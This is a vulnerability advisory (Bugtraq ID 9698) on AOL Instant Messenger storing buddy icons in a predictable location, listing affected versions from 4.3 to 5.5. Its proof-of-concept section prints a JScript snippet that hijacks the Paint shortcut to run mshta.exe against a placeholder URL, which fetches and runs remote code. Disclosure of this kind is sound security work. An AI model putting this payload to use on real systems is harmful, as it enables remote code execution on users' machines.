AOL Instant Messenger Buddy Icon Predictable File Location Weakness

BID:9698

Info

AOL Instant Messenger Buddy Icon Predictable File Location Weakness

Bugtraq ID: 9698
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Feb 19 2004 12:00AM
Updated: Feb 19 2004 12:00AM
Credit: The disclosure of this issue is credited to Michael Evanchik <[email protected]>.
Vulnerable: AOL Instant Messenger 5.5.3415 Beta
AOL Instant Messenger 5.5
AOL Instant Messenger 5.2.3292
AOL Instant Messenger 5.1.3036
AOL Instant Messenger 5.0.2938
AOL Instant Messenger 4.8.2790
AOL Instant Messenger 4.8.2616
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95 SR2
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
AOL Instant Messenger 4.8 .2646
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP5
- Microsoft Windows NT Workstation 4.0 SP4
- Microsoft Windows NT Workstation 4.0 SP3
- Microsoft Windows NT Workstation 4.0 SP2
- Microsoft Windows NT Workstation 4.0 SP1
- Microsoft Windows NT Workstation 4.0
- Microsoft Windows XP Home
AOL Instant Messenger 4.7.2480
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows CE 3.0
- Microsoft Windows CE 2.0
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
AOL Instant Messenger 4.7
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows CE 3.0
- Microsoft Windows CE 2.0
- Microsoft Windows ME
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
AOL Instant Messenger 4.6
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 98
- Microsoft Windows CE 3.0
- Microsoft Windows CE 2.0
- Microsoft Windows ME
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
AOL Instant Messenger 4.5
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows CE 3.0
- Microsoft Windows CE 2.0
- Microsoft Windows ME
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
AOL Instant Messenger 4.4
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows CE 3.0
- Microsoft Windows CE 2.0
- Microsoft Windows ME
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
AOL Instant Messenger 4.3.2229
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows CE 3.0
- Microsoft Windows CE 2.0
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
AOL Instant Messenger 4.3
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows CE 3.0
- Microsoft Windows CE 2.0
- Microsoft Windows ME
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
Not Vulnerable:

Discussion

AOL Instant Messenger Buddy Icon Predictable File Location Weakness

It has been reported that AOL Instant Messenger stores imported Buddy Icons in a predictable location on client systems that may allow an attacker to facilitate further attacks which could eventually lead to execution of arbitrary code.

This issue has been tested on AOL Instant Messenger versions 4.3 to 5.5, however, it is possible that other versions are affected as well.

Exploit / POC

AOL Instant Messenger Buddy Icon Predictable File Location Weakness

The following proof of concept example has been supplied:

&lt;script&gt;
var ok = new ActiveXObject("Shell.Application");
f = ok.NameSpace("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Accessories");
i= f.ParseName("Paint.lnk");
l = i.GetLink;
l.Path = "mshta.exe"
l.Arguments ="http://www.example.com"
l.Save("C:\\paint.lnk");
ok.Open("C:\\paint.lnk");
&lt;/script&gt;

Solution / Fix

AOL Instant Messenger Buddy Icon Predictable File Location Weakness

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

AOL Instant Messenger Buddy Icon Predictable File Location Weakness

References:
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